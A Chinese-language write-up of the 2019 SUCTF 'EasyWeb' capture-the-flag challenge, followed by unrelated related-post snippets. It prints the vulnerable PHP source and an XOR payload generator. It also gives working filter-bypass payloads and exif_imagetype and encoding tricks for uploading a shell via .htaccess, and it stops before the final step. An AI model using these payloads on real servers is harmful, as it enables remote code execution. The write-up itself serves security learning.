2019SUCTF EasyWeb
open_basedir+异或+.htaccess
function get_the_flag(){// webadmin will remove your upload file every 20 min!!!! $userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);if(!file_exists($userdir)){mkdir($userdir);}if(!empty($_FILES["file"])){$tmp_name = $_FILES["file"]["tmp_name"];$name = $_FILES["file"]["name"];$extension = substr($name, strrpos($name,".")+1);if(preg_match("/ph/i",$extension)) die("^_^"); if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");if(!exif_imagetype($tmp_name)) die("^_^"); $path= $userdir."/".$name;@move_uploaded_file($tmp_name, $path);print_r($path);}
}
$hhh = @$_GET['_'];
if (!$hhh){highlight_file(__FILE__);
}
if(strlen($hhh)>18){die('One inch long, one inch strong!');
}
if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
分为两部分,思路是调用get_the_flag()函数
第一部分函数绕过
$hhh = @$_GET['_'];if (!$hhh){highlight_file(__FILE__);
}if(strlen($hhh)>18){ //限制18位die('One inch long, one inch strong!');
}if ( preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', $hhh) )die('Try something else!');//正则只能16进制$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");eval($hhh);
通过正则匹配脚本发现能用的不多
利用不可见字符异或来构造:
<?php
$payload = '';for($i=0;$i<strlen($argv[1]);$i++)
{ for($j=0;$j<255;$j++){$k = chr($j)^chr(255); //dechex(255) = ffif($k == $argv[1][$i])$payload .= '%'.dechex($j);}
}
echo $payload;
payload:
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo
发现phpinfo()能构造成功
${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
就此绕过第一段
第二部分函数绕过
一个过滤正则基本把东西都匹配了,只是这次刚好就是apache+php环境了,但是还有一个.htaccess
exif_imagetype() 的绕过方式可以用"\x00\x00\x8a\x39\x8a\x39"也可以用"#define width 1337""#define height 1337"
这里注意到php版本为7.2所以,不能用/<script>标签绕过<?的过滤了,可以通过编码进行绕过,如原来使用utf8编码,如果shell中是用utf16编码则可以Bypass
自动生成.htaccess,以及
2019SUCTF EasyWeb相关推荐
- CTF训练计划—[CISCN2019]Easyweb
前言: 这道题学到不少知识,还卡了很长时间,单独记录一下 [CISCN2019]Easyweb 首先拿到一个登陆框,从这里就要思考是要怎么去做,我在做的时候想到三个方面去尝试 burp抓包看有什么线索 ...
- Easyweb包括iframe中的页面跳转
文档地址:常用实例 · EasyWeb开发文档 · 看云 跳转新页面:window.open("test.html"); 本窗口跳转:window.location.assign( ...
- [CISCN2019 总决赛 Day2 Web1]Easyweb 1
[CISCN2019 总决赛 Day2 Web1]Easyweb 1 0x00 前言 就这道题而言,并没有单一的考察某一个知识点,而是将我们前面的 sql和upload等一些知识结合起来. 0x01 ...
- buu-[CISCN2019 总决赛 Day2 Web1]Easyweb
扫!(或者靠经验先试) /robots.txt 看源码发现已知的php只有user.php/image.php/index.php 然后在image.php.bak里找到源码 <?php inc ...
- [网络安全提高篇] 一一〇.强网杯CTF的Web Write-Up(上) 寻宝、赌徒、EasyWeb、pop_master
强网杯作为国内最好的CTF比赛之一,搞安全的博友和初学者都可以去尝试下.首先,让我们观摩下这些大神队伍,包括0x300R.eee.0ops.AAA.NeSE.Nu1L等,真的值得我们去学习.其次,非常 ...
- 【安洵杯 2019】easy-web
涉及内容:base64解码.代码审计.MD5强类型注入.命令注入绕过 打开控制器,查看源代码,可以看到md5 is funny,可知这题应该会出现MD5 其余信息一无所获后,看到网站: 看到img=T ...
- easyweb新标签页打开
index.openTab({ title: '添加产品', url: 'pages/Order/form/order-add.htm ...
- buuctf-[CISCN2019 总决赛 Day2 Web1]Easyweb
扫描目录 得到*.php.bak 尝试*表示的东西, index,flag之类的都没用 有image.php,顺便可以看到可能的注入点 下载下了备份文件 <?php include &qu ...
- BUU CTF[CISCN2019 总决赛 Day2 Web1]Easyweb 1
文章目录 前言 一.源码审计 二.开始冻手 1.伪造Cookie 2.上传文件 3.getshell 总结 前言 没赶上2019的CISCN比赛,只能在BUU看到前人大佬们的荣光~ 不是很清楚BUU附 ...
最新文章
- python爬取公众号推荐_python爬搜狗微信获取指定微信公众号的文章
- python 基础之字典一
- linux u 驱动程序,在uClinux中增加自己的设备驱动程序
- SAS的数组array介绍
- easyui源码翻译1.32--panel(面板)
- 女人抛弃男人的唯一理由
- signature=01a8bb5f15835faa2985256d36b2fe94,Point of Maintenance
- java布尔方法_Java布尔方法返回
- java--Date时间
- 天线效应的原理及消除【转帖】
- 创建数据透视表数据包含合并单元格
- html游戏代码20行,js贪吃蛇源代码 20行js代码实现的贪吃蛇大战?
- PDFsharp使用介绍
- 支付宝提现免手续费的方法步骤
- Linux 命令 | 常用命令之 cut
- Android使用Google Map服务 - 根据GPS信息在地图上定位
- 北京大学人工智能研究院落户武汉,致力于打造一流人工智能研发机构
- activiti工作流,审批系统轻松落地,请假审批demo从流程绘制到审批结束实例
- MATLAB常用绘图命令
- WordPress简洁响应式WP主题大前端DUX7.1主题 免授权无限版